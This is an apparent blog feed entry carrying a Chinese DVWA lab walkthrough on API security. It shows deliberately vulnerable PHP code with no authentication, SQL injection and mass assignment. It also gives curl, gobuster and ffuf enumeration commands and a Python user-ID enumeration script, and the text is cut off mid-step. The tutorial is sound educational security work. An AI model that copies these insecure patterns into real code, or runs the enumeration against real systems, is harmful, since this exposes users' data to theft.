<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>tia的学习笔记</title>
  
  
  <link href="http://caixuya.github.io/atom.xml" rel="self"/>
  
  <link href="http://caixuya.github.io/"/>
  <updated>2025-11-20T15:22:49.442Z</updated>
  <id>http://caixuya.github.io/</id>
  
  <author>
    <name>caixuya</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>DVWA - API (应用程序接口) 攻防练习详解</title>
    <link href="http://caixuya.github.io/2025/11/20/API_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/"/>
    <id>http://caixuya.github.io/2025/11/20/API_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/</id>
    <published>2025-11-20T15:31:37.143Z</published>
    <updated>2025-11-20T15:22:49.442Z</updated>
    
    <content type="html"><![CDATA[<h2 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h2><ul><li><a href="#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B">漏洞简介</a></li><li><a href="#low-%E9%9A%BE%E5%BA%A6">Low 难度</a></li><li><a href="#medium-%E9%9A%BE%E5%BA%A6">Medium 难度</a></li><li><a href="#high-%E9%9A%BE%E5%BA%A6">High 难度</a></li><li><a href="#impossible-%E9%9A%BE%E5%BA%A6">Impossible 难度</a></li><li><a href="#%E9%98%B2%E5%BE%A1%E5%BB%BA%E8%AE%AE">防御建议</a></li></ul><hr><h2 id="漏洞简介"><a href="#漏洞简介" class="headerlink" title="漏洞简介"></a>漏洞简介</h2><h3 id="什么是API安全漏洞？"><a href="#什么是API安全漏洞？" class="headerlink" title="什么是API安全漏洞？"></a>什么是API安全漏洞？</h3><p>API（Application Programming Interface）安全漏洞是指RESTful API、GraphQL API、SOAP API等接口中存在的安全问题，可能导致数据泄露、未授权访问或系统被攻击。</p><p><strong>API的类型：</strong></p><h3 id="1-REST-API"><a href="#1-REST-API" class="headerlink" title="1. REST API"></a>1. REST API</h3><p>使用HTTP方法操作资源：</p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">GET    <span class="regexp">/api/u</span>sers/<span class="number">123</span>      <span class="comment"># 获取用户</span></span><br><span class="line">POST   <span class="regexp">/api/u</span>sers          <span class="comment"># 创建用户</span></span><br><span class="line">PUT    <span class="regexp">/api/u</span>sers/<span class="number">123</span>      <span class="comment"># 更新用户</span></span><br><span class="line">DELETE <span class="regexp">/api/u</span>sers/<span class="number">123</span>      <span class="comment"># 删除用户</span></span><br></pre></td></tr></table></figure><h3 id="2-GraphQL-API"><a href="#2-GraphQL-API" class="headerlink" title="2. GraphQL API"></a>2. GraphQL API</h3><p>使用查询语言获取数据：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">query &#123;</span><br><span class="line">  user(id: 123) &#123;</span><br><span class="line">    name</span><br><span class="line">    email</span><br><span class="line">    posts &#123;</span><br><span class="line">      title</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-SOAP-API"><a href="#3-SOAP-API" class="headerlink" title="3. SOAP API"></a>3. SOAP API</h3><p>基于XML的协议：</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">soap:Envelope</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">soap:Body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">GetUser</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">UserId</span>&gt;</span>123<span class="tag">&lt;/<span class="name">UserId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">GetUser</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">soap:Body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">soap:Envelope</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>OWASP API Security Top 10 (2023)：</strong></p><table><thead><tr><th>排名</th><th>漏洞</th><th>描述</th></tr></thead><tbody><tr><td>API1</td><td>对象级别授权失效</td><td>访问他人数据</td></tr><tr><td>API2</td><td>认证机制失效</td><td>弱认证</td></tr><tr><td>API3</td><td>对象属性级别授权失效</td><td>修改敏感字段</td></tr><tr><td>API4</td><td>资源消耗无限制</td><td>DoS攻击</td></tr><tr><td>API5</td><td>功能级别授权失效</td><td>越权操作</td></tr><tr><td>API6</td><td>批量赋值</td><td>修改额外字段</td></tr><tr><td>API7</td><td>配置错误</td><td>暴露敏感信息</td></tr><tr><td>API8</td><td>注入攻击</td><td>SQL&#x2F;NoSQL注入</td></tr><tr><td>API9</td><td>资产管理不当</td><td>旧版本API</td></tr><tr><td>API10</td><td>API日志和监控不足</td><td>无法检测攻击</td></tr></tbody></table><p><strong>危害：</strong></p><ul><li>数据泄露</li><li>未授权访问</li><li>账户接管</li><li>DoS攻击</li><li>业务逻辑绕过</li></ul><p><strong>DVWA场景：</strong><br>一个用户管理的REST API，提供CRUD操作。</p><hr><h2 id="Low-难度"><a href="#Low-难度" class="headerlink" title="Low 难度"></a>Low 难度</h2><h3 id="攻击目标"><a href="#攻击目标" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>完全不验证权限，任何人都可以访问和修改任何数据。</p><h3 id="后端代码分析"><a href="#后端代码分析" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ Low难度：完全没有认证和授权 ★★★</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 设置JSON响应头</span></span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&#x27;Content-Type: application/json&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取HTTP方法</span></span><br><span class="line"><span class="variable">$method</span> = <span class="variable">$_SERVER</span>[<span class="string">&#x27;REQUEST_METHOD&#x27;</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取请求路径</span></span><br><span class="line"><span class="variable">$path</span> = <span class="variable">$_SERVER</span>[<span class="string">&#x27;PATH_INFO&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 危险操作1：不检查认证 ★★★</span></span><br><span class="line"><span class="comment">// 任何人都可以访问API</span></span><br><span class="line"><span class="comment">// 没有API密钥、Token或其他认证机制</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 危险操作2：不检查授权 ★★★</span></span><br><span class="line"><span class="comment">// 没有验证用户是否有权限操作数据</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 路由：GET /api/users - 获取所有用户</span></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$method</span> == <span class="string">&#x27;GET&#x27;</span> &amp;&amp; <span class="variable">$path</span> == <span class="string">&#x27;/users&#x27;</span>) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 问题：返回所有用户信息，包括敏感数据 ★★★</span></span><br><span class="line">    <span class="variable">$query</span> = <span class="string">&quot;SELECT * FROM users&quot;</span>;</span><br><span class="line">    <span class="variable">$result</span> = <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>], <span class="variable">$query</span>);</span><br><span class="line"></span><br><span class="line">    <span class="variable">$users</span> = [];</span><br><span class="line">    <span class="keyword">while</span> (<span class="variable">$row</span> = <span class="title function_ invoke__">mysqli_fetch_assoc</span>(<span class="variable">$result</span>)) &#123;</span><br><span class="line">        <span class="comment">// ★★★ 问题：返回密码哈希 ★★★</span></span><br><span class="line">        <span class="variable">$users</span>[] = <span class="variable">$row</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">        <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">true</span>,</span><br><span class="line">        <span class="string">&#x27;data&#x27;</span> =&gt; <span class="variable">$users</span></span><br><span class="line">    ]);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 路由：GET /api/users/&#123;id&#125; - 获取单个用户</span></span><br><span class="line">&#125; <span class="keyword">elseif</span> (<span class="variable">$method</span> == <span class="string">&#x27;GET&#x27;</span> &amp;&amp; <span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/^\/users\/(\d+)$/&#x27;</span>, <span class="variable">$path</span>, <span class="variable">$matches</span>)) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$userId</span> = <span class="variable">$matches</span>[<span class="number">1</span>];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 问题：不检查是否有权查看该用户 ★★★</span></span><br><span class="line">    <span class="variable">$query</span> = <span class="string">&quot;SELECT * FROM users WHERE user_id = &#x27;<span class="subst">$userId</span>&#x27;&quot;</span>;</span><br><span class="line">    <span class="variable">$result</span> = <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>], <span class="variable">$query</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$row</span> = <span class="title function_ invoke__">mysqli_fetch_assoc</span>(<span class="variable">$result</span>)) &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">true</span>,</span><br><span class="line">            <span class="string">&#x27;data&#x27;</span> =&gt; <span class="variable">$row</span></span><br><span class="line">        ]);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">            <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;User not found&#x27;</span></span><br><span class="line">        ]);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 路由：POST /api/users - 创建用户</span></span><br><span class="line">&#125; <span class="keyword">elseif</span> (<span class="variable">$method</span> == <span class="string">&#x27;POST&#x27;</span> &amp;&amp; <span class="variable">$path</span> == <span class="string">&#x27;/users&#x27;</span>) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 问题：任何人都可以创建用户 ★★★</span></span><br><span class="line">    <span class="comment">// 没有限流，可以创建大量垃圾账户</span></span><br><span class="line"></span><br><span class="line">    <span class="variable">$input</span> = <span class="title function_ invoke__">json_decode</span>(<span class="title function_ invoke__">file_get_contents</span>(<span class="string">&#x27;php://input&#x27;</span>), <span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">    <span class="variable">$username</span> = <span class="variable">$input</span>[<span class="string">&#x27;username&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line">    <span class="variable">$password</span> = <span class="variable">$input</span>[<span class="string">&#x27;password&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line">    <span class="variable">$email</span> = <span class="variable">$input</span>[<span class="string">&#x27;email&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 问题：直接拼接SQL，存在SQL注入 ★★★</span></span><br><span class="line">    <span class="variable">$query</span> = <span class="string">&quot;INSERT INTO users (user, password, email) VALUES (&#x27;<span class="subst">$username</span>&#x27;, &#x27;&quot;</span> . <span class="title function_ invoke__">md5</span>(<span class="variable">$password</span>) . <span class="string">&quot;&#x27;, &#x27;<span class="subst">$email</span>&#x27;)&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>], <span class="variable">$query</span>)) &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">true</span>,</span><br><span class="line">            <span class="string">&#x27;message&#x27;</span> =&gt; <span class="string">&#x27;User created&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;user_id&#x27;</span> =&gt; <span class="title function_ invoke__">mysqli_insert_id</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])</span><br><span class="line">        ]);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">            <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;Failed to create user&#x27;</span></span><br><span class="line">        ]);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 路由：PUT /api/users/&#123;id&#125; - 更新用户</span></span><br><span class="line">&#125; <span class="keyword">elseif</span> (<span class="variable">$method</span> == <span class="string">&#x27;PUT&#x27;</span> &amp;&amp; <span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/^\/users\/(\d+)$/&#x27;</span>, <span class="variable">$path</span>, <span class="variable">$matches</span>)) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$userId</span> = <span class="variable">$matches</span>[<span class="number">1</span>];</span><br><span class="line">    <span class="variable">$input</span> = <span class="title function_ invoke__">json_decode</span>(<span class="title function_ invoke__">file_get_contents</span>(<span class="string">&#x27;php://input&#x27;</span>), <span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 问题：任何人都可以修改任何用户 ★★★</span></span><br><span class="line">    <span class="comment">// 没有验证是否是用户本人或管理员</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 问题：批量赋值漏洞 ★★★</span></span><br><span class="line">    <span class="comment">// 可以修改任意字段，包括role、is_admin等</span></span><br><span class="line">    <span class="variable">$fields</span> = [];</span><br><span class="line">    <span class="keyword">foreach</span> (<span class="variable">$input</span> <span class="keyword">as</span> <span class="variable">$key</span> =&gt; <span class="variable">$value</span>) &#123;</span><br><span class="line">        <span class="comment">// ★★★ 问题：直接拼接，SQL注入 ★★★</span></span><br><span class="line">        <span class="variable">$fields</span>[] = <span class="string">&quot;<span class="subst">$key</span> = &#x27;<span class="subst">$value</span>&#x27;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$query</span> = <span class="string">&quot;UPDATE users SET &quot;</span> . <span class="title function_ invoke__">implode</span>(<span class="string">&#x27;, &#x27;</span>, <span class="variable">$fields</span>) . <span class="string">&quot; WHERE user_id = &#x27;<span class="subst">$userId</span>&#x27;&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>], <span class="variable">$query</span>)) &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">true</span>,</span><br><span class="line">            <span class="string">&#x27;message&#x27;</span> =&gt; <span class="string">&#x27;User updated&#x27;</span></span><br><span class="line">        ]);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">            <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;Failed to update user&#x27;</span></span><br><span class="line">        ]);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 路由：DELETE /api/users/&#123;id&#125; - 删除用户</span></span><br><span class="line">&#125; <span class="keyword">elseif</span> (<span class="variable">$method</span> == <span class="string">&#x27;DELETE&#x27;</span> &amp;&amp; <span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/^\/users\/(\d+)$/&#x27;</span>, <span class="variable">$path</span>, <span class="variable">$matches</span>)) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$userId</span> = <span class="variable">$matches</span>[<span class="number">1</span>];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 问题：任何人都可以删除任何用户 ★★★</span></span><br><span class="line">    <span class="variable">$query</span> = <span class="string">&quot;DELETE FROM users WHERE user_id = &#x27;<span class="subst">$userId</span>&#x27;&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>], <span class="variable">$query</span>)) &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">true</span>,</span><br><span class="line">            <span class="string">&#x27;message&#x27;</span> =&gt; <span class="string">&#x27;User deleted&#x27;</span></span><br><span class="line">        ]);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">            <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;Failed to delete user&#x27;</span></span><br><span class="line">        ]);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="comment">// 404</span></span><br><span class="line">    <span class="title function_ invoke__">http_response_code</span>(<span class="number">404</span>);</span><br><span class="line">    <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">        <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">        <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;Endpoint not found&#x27;</span></span><br><span class="line">    ]);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h3><p><strong>核心问题：</strong></p><ol><li><strong>无认证</strong> - 任何人都可以访问</li><li><strong>无授权</strong> - 不检查权限</li><li><strong>SQL注入</strong> - 直接拼接SQL</li><li><strong>批量赋值</strong> - 可修改任意字段</li><li><strong>敏感信息泄露</strong> - 返回密码哈希</li><li><strong>无限流</strong> - 可以DoS攻击</li><li><strong>详细错误信息</strong> - 泄露系统信息</li></ol><h3 id="攻击步骤"><a href="#攻击步骤" class="headerlink" title="攻击步骤"></a>攻击步骤</h3><h4 id="步骤1：API枚举"><a href="#步骤1：API枚举" class="headerlink" title="步骤1：API枚举"></a>步骤1：API枚举</h4><p><strong>发现API端点：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 使用curl测试</span></span><br><span class="line">curl -X GET http://dvwa.local/api/users</span><br><span class="line">curl -X GET http://dvwa.local/api/users/1</span><br><span class="line">curl -X POST http://dvwa.local/api/users</span><br><span class="line">curl -X PUT http://dvwa.local/api/users/1</span><br><span class="line">curl -X DELETE http://dvwa.local/api/users/1</span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用Postman或Insomnia测试</span></span><br></pre></td></tr></table></figure><p><strong>使用工具发现API：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 使用gobuster</span></span><br><span class="line">gobuster <span class="built_in">dir</span> -u http://dvwa.local/api/ \</span><br><span class="line">             -w /usr/share/wordlists/api-endpoints.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用ffuf</span></span><br><span class="line">ffuf -u http://dvwa.local/api/FUZZ \</span><br><span class="line">     -w /usr/share/wordlists/api-endpoints.txt</span><br></pre></td></tr></table></figure><h4 id="步骤2：数据枚举"><a href="#步骤2：数据枚举" class="headerlink" title="步骤2：数据枚举"></a>步骤2：数据枚举</h4><p><strong>获取所有用户：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -X GET http://dvwa.local/api/users</span><br></pre></td></tr></table></figure><p><strong>响应：</strong></p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;success&quot;</span><span class="punctuation">:</span> <span class="keyword">true</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;user_id&quot;</span><span class="punctuation">:</span> <span class="string">&quot;1&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;user&quot;</span><span class="punctuation">:</span> <span class="string">&quot;admin&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;password&quot;</span><span class="punctuation">:</span> <span class="string">&quot;5f4dcc3b5aa765d61d8327deb882cf99&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;first_name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;admin&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;last_name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;admin&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;email&quot;</span><span class="punctuation">:</span> <span class="string">&quot;admin@example.com&quot;</span></span><br><span class="line">    <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;user_id&quot;</span><span class="punctuation">:</span> <span class="string">&quot;2&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;user&quot;</span><span class="punctuation">:</span> <span class="string">&quot;user1&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;password&quot;</span><span class="punctuation">:</span> <span class="string">&quot;098f6bcd4621d373cade4e832627b4f6&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;email&quot;</span><span class="punctuation">:</span> <span class="string">&quot;user1@example.com&quot;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line">  <span class="punctuation">]</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><strong>枚举用户ID：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">base_url = <span class="string">&quot;http://dvwa.local/api/users&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[*] Enumerating users...&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> user_id <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">100</span>):</span><br><span class="line">    response = requests.get(<span class="string">f&quot;<span class="subst">&#123;base_url&#125;</span>/<span class="subst">&#123;user_id&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> response.status_code == <span class="number">200</span>:</span><br><span class="line">        data = response.json()</span><br><span class="line">        <span class="keyword">if</span> data.get(<span class="string">&#x27;success&#x27;</span>):</span><br><span class="line">            user = data.get(<span class="string">&#x27;data&#x27;</span>, &#123;&#125;)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;[+] Found user <span class="subst">&#123;user_id&#125;</span>: <span class="subst">&#123;user.get(<span class="string">&#x27;user&#x27;</span>)&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;    Email: <span class="subst">&#123;user.get(<span class="string">&#x27;email&#x27;</span>)&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;    Password hash: <span class="subst">&#123;user.get(<span class="string">&#x27;password&#x27;</span>)&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><h4 id="步骤3：未授权访问"><a href="#步骤3：未授权访问" class="headerlink" title="步骤3：未授权访问"></a>步骤3：未授权访问</h4><p><strong>查看其他用户数据：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 